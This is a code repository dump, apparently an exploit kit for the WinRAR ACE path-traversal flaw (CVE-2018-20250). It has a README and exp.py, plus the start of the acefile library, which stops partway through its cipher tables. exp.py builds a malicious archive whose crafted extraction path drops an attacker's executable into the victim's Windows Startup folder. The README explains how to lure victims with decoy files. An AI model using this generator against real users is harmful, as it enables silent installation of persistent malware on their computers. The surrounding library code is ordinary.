├── hello.txt ├── world.txt ├── calc.exe ├── README.md ├── exp.py └── acefile.py /hello.txt: -------------------------------------------------------------------------------- 1 | this is hello.txt -------------------------------------------------------------------------------- /world.txt: -------------------------------------------------------------------------------- 1 | this is world.txt -------------------------------------------------------------------------------- /calc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WyAtu/CVE-2018-20250/HEAD/calc.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | exp for [Extracting Code Execution From Winrar](https://research.checkpoint.com/extracting-code-execution-from-winrar/) 2 | 3 | [poc](https://github.com/Ridter/acefile) by Ridter 4 | 5 | how to use ? 6 | 7 | you just need to install python 3.7, and prepare a evil file you want to run, set the values you want, **this exp script will generate the evil archive file automatically**! 8 | 9 | 1. set the values you want 10 | 11 | ``` 12 | ... ... 13 | 14 | # The archive filename you want 15 | rar_filename = "test.rar" 16 | # The evil file you want to run 17 | evil_filename = "calc.exe" 18 | # The decompression path you want, such shown below 19 | target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe" 20 | # Other files to be displayed when the victim opens the winrar 21 | # filename_list=[] 22 | filename_list = ["hello.txt", "world.txt"] 23 | 24 | ... ... 25 | 26 | def get_right_hdr_crc(filename): 27 | # This command may be different, it depends on the your Python3 environment. 28 | p = os.popen('py -3 acefile.py --headers %s'%(filename)) 29 | res = p.read() 30 | pattern = re.compile('right_hdr_crc : 0x(.*?) | struct') 31 | result = pattern.findall(res) 32 | right_hdr_crc = result[0].upper() 33 | return hex2raw4(right_hdr_crc) 34 | 35 | ... ... 36 | 37 | ``` 38 | 39 | 2. run the exp, exp generated the `test.rar` automatically 40 | 41 | ![](http://imglf5.nosdn.127.net/img/TnVEN1Q3NkoyR0l5aDVmNFA4MnZMVExtcGVqSGZUdDFBWGgyaGU0NGpHWUlPdmU1bHJTMFJ3PT0.jpg?imageView&thumbnail=500x0) 42 | 43 | 3. if the victim opens the `test.rar`, he will see the file `hello.txt` and `world.txt`, you can also add more files, more attractive files. 44 | 45 | ![](http://imglf6.nosdn.127.net/img/TnVEN1Q3NkoyR0l5aDVmNFA4MnZMV0IrVk1NeUxJcWh6aXV3TVFHek8zbXBZaFNhamY4aHBBPT0.jpg?imageView&thumbnail=500x0) 46 | 47 | 4. when he unpacks the file, the victim's user startup directory will have one more file named `hi.exe`, actually it's a `calc.exe`. when he restart the computer, the `hi.exe` will run. 48 | 49 | ![](http://imglf3.nosdn.127.net/img/TnVEN1Q3NkoyR0l5aDVmNFA4MnZMV0puYkhZTVkvc1hmK2E3KzBYdmZ0cU5yUzFGVVk0THRnPT0.jpg?imageView&thumbnail=500x0) 50 | 51 | have fun! :) 52 | -------------------------------------------------------------------------------- /exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import re 5 | import zlib 6 | import binascii 7 | 8 | # The archive filename you want 9 | rar_filename = "test.rar" 10 | # The evil file you want to run 11 | evil_filename = "calc.exe" 12 | # The decompression path you want, such shown below 13 | target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe" 14 | # Other files to be displayed when the victim opens the winrar 15 | # filename_list=[] 16 | filename_list = ["hello.txt", "world.txt"] 17 | 18 | class AceCRC32: 19 | def __init__(self, buf=b''): 20 | self.__state = 0 21 | if len(buf) > 0: 22 | self += buf 23 | 24 | def __iadd__(self, buf): 25 | self.__state = zlib.crc32(buf, self.__state) 26 | return self 27 | 28 | def __eq__(self, other): 29 | return self.sum == other 30 | 31 | def __format__(self, format_spec): 32 | return self.sum.__format__(format_spec) 33 | 34 | def __str__(self): 35 | return "0x%08x" % self.sum 36 | 37 | @property 38 | def sum(self): 39 | return self.__state ^ 0xFFFFFFFF 40 | 41 | def ace_crc32(buf): 42 | return AceCRC32(buf).sum 43 | 44 | def get_ace_crc32(filename): 45 | with open(filename, 'rb') as f: 46 | return ace_crc32(f.read()) 47 | 48 | def get_right_hdr_crc(filename): 49 | # This command may be different, it depends on the your Python3 environment. 50 | p = os.popen('py -3 acefile.py --headers %s'%(filename)) 51 | res = p.read() 52 | pattern = re.compile('right_hdr_crc : 0x(.*?) | struct') 53 | result = pattern.findall(res) 54 | right_hdr_crc = result[0].upper() 55 | return hex2raw4(right_hdr_crc) 56 | 57 | def modify_hdr_crc(shellcode, filename): 58 | hdr_crc_raw = get_right_hdr_crc(filename) 59 | shellcode_new = shellcode.replace("6789", hdr_crc_raw) 60 | return shellcode_new 61 | 62 | def hex2raw4(hex_value): 63 | while len(hex_value) < 4: 64 | hex_value = '0' + hex_value 65 | return hex_value[2:] + hex_value[:2] 66 | 67 | def hex2raw8(hex_value): 68 | while len(hex_value) < 8: 69 | hex_value = '0' + hex_value 70 | return hex_value[6:] + hex_value[4:6] + hex_value[2:4] + hex_value[:2] 71 | 72 | def get_file_content(filename): 73 | with open(filename, 'rb') as f: 74 | return str(binascii.hexlify(f.read()))[2:-1] # [2:-1] to remote b'...' 75 | 76 | def make_shellcode(filename, target_filename): 77 | if target_filename == "": 78 | target_filename = filename 79 | hdr_crc_raw = "6789" 80 | hdr_size_raw = hex2raw4(str(hex(len(target_filename)+31))[2:]) 81 | packsize_raw = hex2raw8(str(hex(os.path.getsize(filename)))[2:]) 82 | origsize_raw = packsize_raw 83 | crc32_raw = hex2raw8(str(hex(get_ace_crc32(filename)))[2:]) 84 | filename_len_raw = hex2raw4(str(hex(len(target_filename)))[2:]) 85 | filename_raw = "".join("{:x}".format(ord(c)) for c in target_filename) 86 | content_raw = get_file_content(filename) 87 | shellcode = hdr_crc_raw + hdr_size_raw + "010180" + packsize_raw \ 88 | + origsize_raw + "63B0554E20000000" + crc32_raw + "00030A005445"\ 89 | + filename_len_raw + filename_raw + "01020304050607080910A1A2A3A4A5A6A7A8A9" 90 | return shellcode 91 | 92 | def build_file(shellcode, filename): 93 | with open(filename, "wb") as f: 94 | f.write(binascii.a2b_hex(shellcode.upper())) 95 | 96 | def build_file_add(shellcode, filename): 97 | with open(filename, "ab+") as f: 98 | f.write(binascii.a2b_hex(shellcode.upper())) 99 | 100 | def build_file_once(filename, target_filename=""): 101 | shellcode = make_shellcode(filename, target_filename) 102 | build_file_add(shellcode, rar_filename) 103 | shellcode_new = modify_hdr_crc(shellcode, rar_filename) 104 | content_raw = get_file_content(rar_filename).upper() 105 | build_file(content_raw.replace(shellcode.upper(), shellcode_new.upper()).replace("01020304050607080910A1A2A3A4A5A6A7A8A9", get_file_content(filename)), rar_filename) 106 | 107 | if __name__ == '__main__': 108 | print("[*] Start to generate the archive file %s..."%(rar_filename)) 109 | 110 | shellcode_head = "6B2831000000902A2A4143452A2A141402001018564E974FF6AA00000000162A554E524547495354455245442056455253494F4E2A" 111 | build_file(shellcode_head, rar_filename) 112 | 113 | for i in range(len(filename_list)): 114 | build_file_once(filename_list[i]) 115 | 116 | build_file_once(evil_filename, target_filename) 117 | 118 | print("[+] Evil archive file %s generated successfully !"%(rar_filename)) 119 | -------------------------------------------------------------------------------- /acefile.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # vim: set list et ts=8 sts=4 sw=4 ft=python: 3 | 4 | # acefile - read/test/extract ACE 1.0 and 2.0 archives in pure python 5 | # Copyright (C) 2017-2018, Daniel Roethlisberger 6 | # All rights reserved. 7 | # 8 | # Redistribution and use in source and binary forms, with or without 9 | # modification, are permitted provided that the following conditions 10 | # are met: 11 | # 1. Redistributions of source code must retain the above copyright 12 | # notice, this list of conditions, and the following disclaimer. 13 | # 2. Redistributions in binary form must reproduce the above copyright 14 | # notice, this list of conditions and the following disclaimer in the 15 | # documentation and/or other materials provided with the distribution. 16 | # 17 | # THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 18 | # IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 19 | # OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 20 | # IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 21 | # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 22 | # NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 23 | # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 25 | # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 26 | # THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | 28 | # NOTE: The ACE archive format and ACE compression and decompression 29 | # algorithms have been designed by Marcel Lemke. The above copyright 30 | # notice and license does not constitute a claim of intellectual property 31 | # over ACE technology beyond the copyright of this python implementation. 32 | 33 | """ 34 | Read/test/extract ACE 1.0 and 2.0 archives in pure python. 35 | 36 | This single-file, pure python 3, no-dependencies implementation is intended 37 | to be used as a library, but also provides a stand-alone unace utility. 38 | As mostly pure-python implementation, it is significantly slower than 39 | native implementations, but more robust against vulnerabilities. 40 | 41 | This implementation supports up to version 2.0 of the ACE archive format, 42 | including the EXE, DELTA, PIC and SOUND modes of ACE 2.0, password protected 43 | archives and multi-volume archives. It does not support writing to archives. 44 | It is an implementation from scratch, based on the 1998 document titled 45 | "Technical information of the archiver ACE v1.2" by Marcel Lemke, using 46 | unace 2.5 and WinAce 2.69 by Marcel Lemke as reference implementations. 47 | 48 | For more information, API documentation, source code, packages and release 49 | notifications, refer to: 50 | 51 | - https://www.roe.ch/acefile 52 | - https://apidoc.roe.ch/acefile 53 | - https://github.com/droe/acefile 54 | - https://pypi.python.org/pypi/acefile 55 | - https://twitter.com/droethlisberger 56 | """ 57 | 58 | __version__ = '0.6.10' 59 | __author__ = 'Daniel Roethlisberger' 60 | __email__ = 'daniel@roe.ch' 61 | __copyright__ = 'Copyright 2017-2018, Daniel Roethlisberger' 62 | __credits__ = ['Marcel Lemke'] 63 | __license__ = 'BSD' 64 | __url__ = 'https://www.roe.ch/acefile' 65 | 66 | 67 | 68 | import array 69 | import builtins 70 | import ctypes 71 | import datetime 72 | import io 73 | import math 74 | import os 75 | import platform 76 | import re 77 | import stat 78 | import struct 79 | import sys 80 | import zlib 81 | 82 | try: 83 | import acebitstream 84 | except: 85 | acebitstream = None 86 | 87 | 88 | 89 | # Very basic debugging facility; if set to True, exceptions raised during 90 | # testing of archives will be raised and a minimal set of state information 91 | # will be printed to stderr. 92 | DEBUG = False 93 | 94 | 95 | 96 | # Arbitrarily chosen buffer size to use for buffered file operations that 97 | # have no obvious natural block size. 98 | FILE_BLOCKSIZE = 131072 99 | assert FILE_BLOCKSIZE % 4 == 0 100 | 101 | 102 | 103 | if platform.system() == 'Windows': 104 | # BOOL WINAPI SetFileAttributes( 105 | # _In_ LPCTSTR lpFileName, 106 | # _In_ DWORD dwFileAttributes 107 | # ); 108 | try: 109 | SetFileAttributes = ctypes.windll.kernel32.SetFileAttributesW 110 | except: 111 | SetFileAttributes = None 112 | # BOOL WINAPI SetFileSecurity( 113 | # _In_ LPCTSTR lpFileName, 114 | # _In_ SECURITY_INFORMATION SecurityInformation, 115 | # _In_ PSECURITY_DESCRIPTOR pSecurityDescriptor 116 | # ); 117 | try: 118 | SetFileSecurity = ctypes.windll.advapi32.SetFileSecurityW 119 | except: 120 | SetFileSecurity = None 121 | else: 122 | SetFileAttributes = None 123 | SetFileSecurity = None 124 | 125 | 126 | 127 | def eprint(*args, **kwargs): 128 | """ 129 | Print to stderr. 130 | """ 131 | print(*args, file=sys.stderr, **kwargs) 132 | 133 | # haklib.dt 134 | def _dt_fromdos(dosdt): 135 | """ 136 | Convert DOS format 32bit timestamp to datetime object. 137 | Timestamps with illegal values out of the allowed range are ignored and a 138 | datetime object representing 1980-01-01 00:00:00 is returned instead. 139 | https://msdn.microsoft.com/en-us/library/9kkf9tah.aspx 140 | 141 | >>> _dt_fromdos(0x4a5c48fd) 142 | datetime.datetime(2017, 2, 28, 9, 7, 58) 143 | >>> _dt_fromdos(0) 144 | datetime.datetime(1980, 1, 1, 0, 0) 145 | >>> _dt_fromdos(-1) 146 | datetime.datetime(1980, 1, 1, 0, 0) 147 | """ 148 | try: 149 | return datetime.datetime( 150 | ((dosdt >> 25) & 0x7F) + 1980, 151 | (dosdt >> 21) & 0x0F, 152 | (dosdt >> 16) & 0x1F, 153 | (dosdt >> 11) & 0x1F, 154 | (dosdt >> 5) & 0x3F, 155 | ((dosdt ) & 0x1F) * 2) 156 | except ValueError: 157 | return datetime.datetime(1980, 1, 1, 0, 0, 0) 158 | 159 | 160 | 161 | # haklib.c 162 | def c_div(q, d): 163 | """ 164 | Arbitrary signed integer division with c behaviour. 165 | 166 | >>> (c_div(10, 3), c_div(-10, -3), c_div(-10, 3), c_div(10, -3)) 167 | (3, 3, -3, -3) 168 | >>> c_div(-11, 0) 169 | Traceback (most recent call last): 170 | ... 171 | ZeroDivisionError 172 | """ 173 | s = int(math.copysign(1, q) * math.copysign(1, d)) 174 | return s * int(abs(q) / abs(d)) 175 | 176 | def c_schar(i): 177 | """ 178 | Convert arbitrary integer to c signed char type range as if casted in c. 179 | 180 | >>> c_schar(0x12345678) 181 | 120 182 | >>> (c_schar(-128), c_schar(-129), c_schar(127), c_schar(128)) 183 | (-128, 127, 127, -128) 184 | """ 185 | return ((i + 128) % 256) - 128 186 | 187 | def c_uchar(i): 188 | """ 189 | Convert arbitrary integer to c unsigned char type range as if casted in c. 190 | 191 | >>> c_uchar(0x12345678) 192 | 120 193 | >>> (c_uchar(-123), c_uchar(-1), c_uchar(255), c_uchar(256)) 194 | (133, 255, 255, 0) 195 | """ 196 | return i & 0xFF 197 | 198 | def c_rot32(i, n): 199 | """ 200 | Rotate *i* left by *n* bits within the uint32 value range. 201 | 202 | >>> c_rot32(0xF0000000, 4) 203 | 15 204 | >>> c_rot32(0xF0, -4) 205 | 15 206 | """ 207 | if n < 0: 208 | n = 32 + n 209 | return (((i << n) & 0xFFFFFFFF) | (i >> (32 - n))) 210 | 211 | def c_add32(a, b): 212 | """ 213 | Add *a* and *b* within the uint32 value range. 214 | 215 | >>> c_add32(0xFFFFFFFF, 1) 216 | 0 217 | >>> c_add32(0xFFFFFFFF, 0xFFFFFFFF) 218 | 4294967294 219 | """ 220 | return (a + b) & 0xFFFFFFFF 221 | 222 | def c_sum32(*args): 223 | """ 224 | Add all elements of *args* within the uint32 value range. 225 | 226 | >>> c_sum32(0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF) 227 | 4294967293 228 | """ 229 | return sum(args) & 0xFFFFFFFF 230 | 231 | 232 | 233 | def asciibox(msg, title=None, minwidth=None): 234 | """ 235 | Returns message string *msg* wrapped in a plain ASCII box. 236 | If *title* is given, add *title* in the top horizontal bar. 237 | Lines will be padded to the longest out of *minwidth* characters, the 238 | length of the longest line, or the length of the title plus six. 239 | Caller is responsible for ensuring a sensible line length in *msg*. 240 | """ 241 | out = [] 242 | lines = msg.splitlines() 243 | width = 0 244 | for line in lines: 245 | width = max(width, len(line)) 246 | if minwidth != None: 247 | width = max(width, minwidth) 248 | if title != None: 249 | width = max(width, len(title) + 6) 250 | ftr = "+" + ("-" * (width + 2)) + "+" 251 | if title != None: 252 | hdr = ("+--[ %s ]--" % title) + ("-" * (width - 6 - len(title))) + "+" 253 | else: 254 | hdr = ftr 255 | fmt = "| %%-%is |" % width 256 | out.append(hdr) 257 | for line in msg.splitlines(): 258 | out.append(fmt % line) 259 | out.append(ftr) 260 | return '\n'.join(out) 261 | 262 | 263 | 264 | class FileSegmentIO: 265 | """ 266 | Seekable file-like object that wraps and reads from seekable file-like 267 | object and fakes EOF when a read would extend beyond a defined boundary. 268 | 269 | >>> FileSegmentIO(io.BytesIO(b'0123456789'), 3, 4).read() 270 | b'3456' 271 | """ 272 | def __init__(self, f, base, size): 273 | assert f.seekable() 274 | self.__file = f 275 | self.__base = base 276 | self.__eof = base + size 277 | self.__file.seek(self.__base, 0) 278 | 279 | def seekable(self): 280 | return True 281 | 282 | def _tell(self): 283 | """ 284 | Returns the current absolute position in the file and asserts that it 285 | lies within the defined file segment. 286 | """ 287 | pos = self.__file.tell() 288 | assert pos >= self.__base and pos <= self.__eof 289 | return pos 290 | 291 | def tell(self): 292 | return self._tell() - self.__base 293 | 294 | def seek(self, offset, whence=0): 295 | if whence == 0: 296 | newpos = self.__base + offset 297 | elif whence == 1: 298 | newpos = self._tell() + offset 299 | elif whence == 2: 300 | newpos = self.__eof + offset 301 | assert newpos >= self.__base and newpos <= self.__eof 302 | self.__file.seek(newpos, 0) 303 | 304 | def read(self, n=None): 305 | pos = self._tell() 306 | if n == None: 307 | amount = self.__eof - pos 308 | else: 309 | amount = min(n, self.__eof - pos) 310 | if amount == 0: 311 | return b'' 312 | return self.__file.read(amount) 313 | 314 | 315 | 316 | class MultipleFilesIO: 317 | """ 318 | Seekable file-like object that wraps and reads from multiple 319 | seekable lower-level file-like objects. 320 | 321 | >>> MultipleFilesIO((io.BytesIO(b'01234'), io.BytesIO(b'56789'))).read() 322 | b'0123456789' 323 | """ 324 | def __init__(self, files): 325 | assert len(files) > 0 326 | self.__files = files 327 | self.__sizes = [] 328 | for f in files: 329 | f.seek(0, 2) 330 | self.__sizes.append(f.tell()) 331 | self.__files[0].seek(0) 332 | self.__idx = 0 333 | self.__pos = 0 334 | self.__eof = sum(self.__sizes) 335 | 336 | def seekable(): 337 | return True 338 | 339 | def tell(self): 340 | return self.__pos 341 | 342 | def seek(self, offset, whence=0): 343 | if whence == 0: 344 | newpos = offset 345 | elif whence == 1: 346 | newpos = self.__pos + offset 347 | elif whence == 2: 348 | newpos = self.__eof + offset 349 | assert newpos >= 0 and newpos <= self.__eof 350 | idx = 0 351 | relpos = newpos 352 | while relpos > self.__sizes[idx]: 353 | relpos -= self.__sizes[idx] 354 | idx += 1 355 | self.__files[idx].seek(relpos) 356 | self.__idx = idx 357 | 358 | def read(self, n=None): 359 | if n == None: 360 | n = self.__eof - self.__pos 361 | out = [] 362 | have_size = 0 363 | while have_size < n: 364 | if self.__idx >= len(self.__files): 365 | break 366 | chunk = self.__files[self.__idx].read(n - have_size) 367 | if len(chunk) == 0: 368 | self.__idx += 1 369 | if self.__idx < len(self.__files): 370 | self.__files[self.__idx].seek(0) 371 | continue 372 | out.append(chunk) 373 | self.__pos += len(chunk) 374 | have_size += len(chunk) 375 | return b''.join(out) 376 | 377 | 378 | 379 | class EncryptedFileIO: 380 | """ 381 | Non-seekable file-like object that reads from a lower-level seekable 382 | file-like object, and transparently decrypts the data stream using a 383 | decryption engine. The decryption engine is assumed to support a 384 | decrypt() method and a blocksize property. The underlying file-like 385 | object is expected to contain a multiple of blocksize bytes, if not, 386 | CorruptedArchiveError is raised. 387 | 388 | >>> EncryptedFileIO(io.BytesIO(b'7'*16), AceBlowfish(b'123456789')).read() 389 | b'\\t_\\xd0a}\\x1dh\\xdd>h\\xe7VJ*_\\xea' 390 | >>> EncryptedFileIO(io.BytesIO(b'7'*17), AceBlowfish(b'123456789')).read() 391 | Traceback (most recent call last): 392 | ... 393 | CorruptedArchiveError 394 | """ 395 | def __init__(self, f, engine): 396 | self.__file = f 397 | self.__file.seek(0, 2) 398 | self.__eof = self.__file.tell() 399 | self.__file.seek(0) 400 | self.__engine = engine 401 | self.__buffer = b'' 402 | 403 | def seekable(): 404 | return False 405 | 406 | def read(self, n=None): 407 | if n == None: 408 | n = self.__eof - (self.__file.tell() - len(self.__buffer)) 409 | if n < len(self.__buffer): 410 | rbuf = self.__buffer[:n] 411 | self.__buffer = self.__buffer[n:] 412 | return rbuf 413 | want_bytes = n - len(self.__buffer) 414 | read_bytes = want_bytes 415 | blocksize = self.__engine.blocksize 416 | if want_bytes % blocksize: 417 | read_bytes += blocksize - (want_bytes % blocksize) 418 | buf = self.__file.read(read_bytes) 419 | if len(buf) % blocksize: 420 | raise CorruptedArchiveError("Truncated ciphertext block") 421 | buf = self.__engine.decrypt(buf) 422 | rbuf = self.__buffer + buf[:n] 423 | self.__buffer = buf[n:] 424 | return rbuf 425 | 426 | 427 | 428 | class AceBlowfish: 429 | """ 430 | Decryption engine for ACE Blowfish. 431 | 432 | >>> bf = AceBlowfish(b'123456789') 433 | >>> bf.blocksize 434 | 8 435 | >>> bf.decrypt(b'\\xFF'*8) 436 | b'\\xb7wF@5.er' 437 | >>> bf.decrypt(b'\\xC7'*8) 438 | b'eE\\x05\\xc4\\xa5\\x85)\\xbc' 439 | >>> bf.decrypt(b'123') 440 | Traceback (most recent call last): 441 | ... 442 | AssertionError 443 | """ 444 | 445 | SHA1_A = 0x67452301 446 | SHA1_B = 0xefcdab89 447 | SHA1_C = 0x98badcfe 448 | SHA1_D = 0x10325476 449 | SHA1_E = 0xc3d2e1f0 450 | 451 | BF_P = ( 452 | 0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344, 453 | 0xA4093822, 0x299F31D0, 0x082EFA98, 0xEC4E6C89, 454 | 0x452821E6, 0x38D01377, 0xBE5466CF, 0x34E90C6C, 455 | 0xC0AC29B7, 0xC97C50DD, 0x3F84D5B5, 0xB5470917, 456 | 0x9216D5D9, 0x8979FB1B) 457 | 458 | BF_S0 = ( 459 | 0xD1310BA6, 0x98DFB5AC, 0x2FFD72DB, 0xD01ADFB7, 460 | 0xB8E1AFED, 0x6A267E96, 0xBA7C9045, 0xF12C7F99, 461 | 0x24A19947, 0xB3916CF7, 0x0801F2E2, 0x858EFC16, 462 | 0x636920D8, 0x71574E69, 0xA458FEA3, 0xF4933D7E, 463 | 0x0D95748F, 0x728EB658, 0x718BCD58, 0x82154AEE, 464 | 0x7B54A41D, 0xC25A59B5, 0x9C30D539, 0x2AF26013, 465 | 0xC5D1B023, 0x286085F0, 0xCA417918, 0xB8DB38EF, 466 | 0x8E79DCB0, 0x603A180E, 0x6C9E0E8B, 0xB01E8A3E, 467 | 0xD71577C1, 0xBD314B27, 0x78AF2FDA, 0x55605C60, 468 | 0xE65525F3, 0xAA55AB94, 0x57489862, 0x63E81440, 469 | 0x55CA396A, 0x2AAB10B6, 0xB4CC5C34, 0x1141E8CE, 470 | 0xA15486AF, 0x7C72E993, 0xB3EE1411, 0x636FBC2A, 471 | 0x2DA9C55D, 0x741831F6, 0xCE5C3E16, 0x9B87901E, 472 | 0xAFD6BA33, 0x6C24CF5C, 0x7A325381, 0x28958677, 473 | 0x3B8F4898, 0x6B4BB9AF, 0xC4BFE81B, 0x66282193, 474 | 0x61D809CC, 0xFB21A991, 0x487CAC60, 0x5DEC8032, 475 | 0xEF845D5D, 0xE98575B1, 0xDC262302, 0xEB651B88, 476 | 0x23893E81, 0xD396ACC5, 0x0F6D6FF3, 0x83F44239, 477 | 0x2E0B4482, 0xA4842004, 0x69C8F04A, 0x9E1F9B5E, 478 | 0x21C66842, 0xF6E96C9A, 0x670C9C61, 0xABD388F0, 479 | 0x6A51A0D2, 0xD8542F68, 0x960FA728, 0xAB5133A3, 480 | 0x6EEF0B6C, 0x137A3BE4, 0xBA3BF050, 0x7EFB2A98, 481 | 0xA1F1651D, 0x39AF0176, 0x66CA593E, 0x82430E88, 482 | 0x8CEE8619, 0x456F9FB4, 0x7D84A5C3, 0x3B8B5EBE, 483 | 0xE06F75D8, 0x85C12073, 0x401A449F, 0x56C16AA6, 484 | 0x4ED3AA62, 0x363F7706, 0x1BFEDF72, 0x429B023D, 485 | 0x37D0D724, 0xD00A1248, 0xDB0FEAD3, 0x49F1C09B, 486 | 0x075372C9, 0x80991B7B, 0x25D479D8, 0xF6E8DEF7, 487 | 0xE3FE501A, 0xB6794C3B, 0x976CE0BD, 0x04C006BA, 488 | 0xC1A94FB6, 0x409F60C4, 0x5E5C9EC2, 0x196A2463, 489 | 0x68FB6FAF, 0x3E6C53B5, 0x1339B2EB, 0x3B52EC6F, 490 | 0x6DFC511F, 0x9B30952C, 0xCC814544, 0xAF5EBD09, 491 | 0xBEE3D004, 0xDE334AFD, 0x660F2807, 0x192E4BB3, 492 | 0xC0CBA857, 0x45C8740F, 0xD20B5F39, 0xB9D3FBDB, 493 | 0x5579C0BD, 0x1A60320A, 0xD6A100C6, 0x412C7279, 494 | 0x679F25FE, 0xFB1FA3CC, 0x8EA5E9F8, 0xDB3222F8, 495 | 0x3C7516DF, 0xFD616B15, 0x2F501EC8, 0xAD0552AB, 496 | 0x323DB5FA, 0xFD238760, 0x53317B48, 0x3E00DF82, 497 | 0x9E5C57BB, 0xCA6F8CA0, 0x1A87562E, 0xDF1769DB, 498 | 0xD542A8F6, 0x287EFFC3, 0xAC6732C6, 0x8C4F5573, 499 | 0x695B27B0, 0xBBCA58C8, 0xE1FFA35D, 0xB8F011A0, 500 | 0x10FA3D98, 0xFD2183B8, 0x4AFCB56C, 0x2DD1D35B, 501 | 0x9A53E479, 0xB6F84565, 0xD28E49BC, 0x4BFB9790, 502 | 0xE1DDF2DA, 0xA4CB7E33, 0x62FB1341, 0xCEE4C6E8, 503 | 0xEF20CADA, 0x36774C01, 0xD07E9EFE, 0x2BF11FB4, 504 | 0x95DBDA4D, 0xAE909198, 0xEAAD8E71, 0x6B93D5A0, 505 | 0xD08ED1D0, 0xAFC725E0, 0x8E3C5B2F, 0x8E7594B7, 506 | 0x8FF6E2FB, 0xF2122B64, 0x8888B812, 0x900DF01C, 507 | 0x4FAD5EA0, 0x688FC31C, 0xD1CFF191, 0xB3A8C1AD, 508 | 0x2F2F2218, 0xBE0E1777, 0xEA752DFE, 0x8B021FA1, 509 | 0xE5A0CC0F, 0xB56F74E8, 0x18ACF3D6, 0xCE89E299, 510 | 0xB4A84FE0, 0xFD13E0B7, 0x7CC43B81, 0xD2ADA8D9, 511 | 0x165FA266, 0x80957705, 0x93CC7314, 0x211A1477, 512 | 0xE6AD2065, 0x77B5FA86, 0xC75442F5, 0xFB9D35CF, 513 | 0xEBCDAF0C, 0x7B3E89A0, 0xD6411BD3, 0xAE1E7E49, 514 | 0x00250E2D, 0x2071B35E, 0x226800BB, 0x57B8E0AF, 515 | 0x2464369B, 0xF009B91E, 0x5563911D, 0x59DFA6AA, 516 | 0x78C14389, 0xD95A537F, 0x207D5BA2, 0x02E5B9C5, 517 | 0x83260376, 0x6295CFA9, 0x11C81968, 0x4E734A41, 518 | 0xB3472DCA, 0x7B14A94A, 0x1B510052, 0x9A532915, 519 | 0xD60F573F, 0xBC9BC6E4, 0x2B60A476, 0x81E67400, 520 | 0x08BA6FB5, 0x571BE91F, 0xF296EC6B, 0x2A0DD915, 521 | 0xB6636521, 0xE7B9F9B6, 0xFF34052E, 0xC5855664, 522 | 0x53B02D5D, 0xA99F8FA1, 0x08BA4799, 0x6E85076A) 523 | 524 | BF_S1 = ( 525 | 0x4B7A70E9, 0xB5B32944, 0xDB75092E, 0xC4192623, 526 | 0xAD6EA6B0, 0x49A7DF7D, 0x9CEE60B8, 0x8FEDB266, 527 | 0xECAA8C71, 0x699A17FF, 0x5664526C, 0xC2B19EE1, 528 | 0x193602A5, 0x75094C29, 0xA0591340, 0xE4183A3E, 529 | 0x3F54989A, 0x5B429D65, 0x6B8FE4D6, 0x99F73FD6, 530 | 0xA1D29C07, 0xEFE830F5, 0x4D2D38E6, 0xF0255DC1, 531 | 0x4CDD2086, 0x8470EB26, 0x6382E9C6, 0x021ECC5E, 532 | 0x09686B3F, 0x3EBAEFC9, 0x3C971814, 0x6B6A70A1, 533 | 0x687F3584, 0x52A0E286, 0xB79C5305, 0xAA500737, 534 | 0x3E07841C, 0x7FDEAE5C, 0x8E7D44EC, 0x5716F2B8, 535 | 0xB03ADA37, 0xF0500C0D, 0xF01C1F04, 0x0200B3FF, 536 | 0xAE0CF51A, 0x3CB574B2, 0x25837A58, 0xDC0921BD, 537 | 0xD19113F9, 0x7CA92FF6, 0x94324773, 0x22F54701, 538 | 0x3AE5E581, 0x37C2DADC, 0xC8B57634, 0x9AF3DDA7, 539 | 0xA9446146, 0x0FD0030E, 0xECC8C73E, 0xA4751E41, 540 | 0xE238CD99, 0x3BEA0E2F, 0x3280BBA1, 0x183EB331, 541 | 0x4E548B38, 0x4F6DB908, 0x6F420D03, 0xF60A04BF, 542 | 0x2CB81290, 0x24977C79, 0x5679B072, 0xBCAF89AF, 543 | 0xDE9A771F, 0xD9930810, 0xB38BAE12, 0xDCCF3F2E, 544 | 0x5512721F, 0x2E6B7124, 0x501ADDE6, 0x9F84CD87, 545 | 0x7A584718, 0x7408DA17, 0xBC9F9ABC, 0xE94B7D8C, 546 | 0xEC7AEC3A, 0xDB851DFA, 0x63094366, 0xC464C3D2, 547 | 0xEF1C1847, 0x3215D908, 0xDD433B37, 0x24C2BA16, 548 | 0x12A14D43, 0x2A65C451, 0x50940002, 0x133AE4DD, 549 | 0x71DFF89E, 0x10314E55, 0x81AC77D6, 0x5F11199B, 550 | 0x043556F1, 0xD7A3C76B, 0x3C11183B, 0x5924A509, 551 | 0xF28FE6ED, 0x97F1FBFA, 0x9EBABF2C, 0x1E153C6E, 552 | 0x86E34570, 0xEAE96FB1, 0x860E5E0A, 0x5A3E2AB3, 553 | 0x771FE71C, 0x4E3D06FA, 0x2965DCB9, 0x99E71D0F, 554 | 0x803E89D6, 0x5266C825, 0x2E4CC978, 0x9C10B36A, 555 | 0xC6150EBA, 0x94E2EA78, 0xA5FC3C53, 0x1E0A2DF4, 556 | 0xF2F74EA7, 0x361D2B3D, 0x1939260F, 0x19C27960, 557 | 0x5223A708, 0xF71312B6, 0xEBADFE6E, 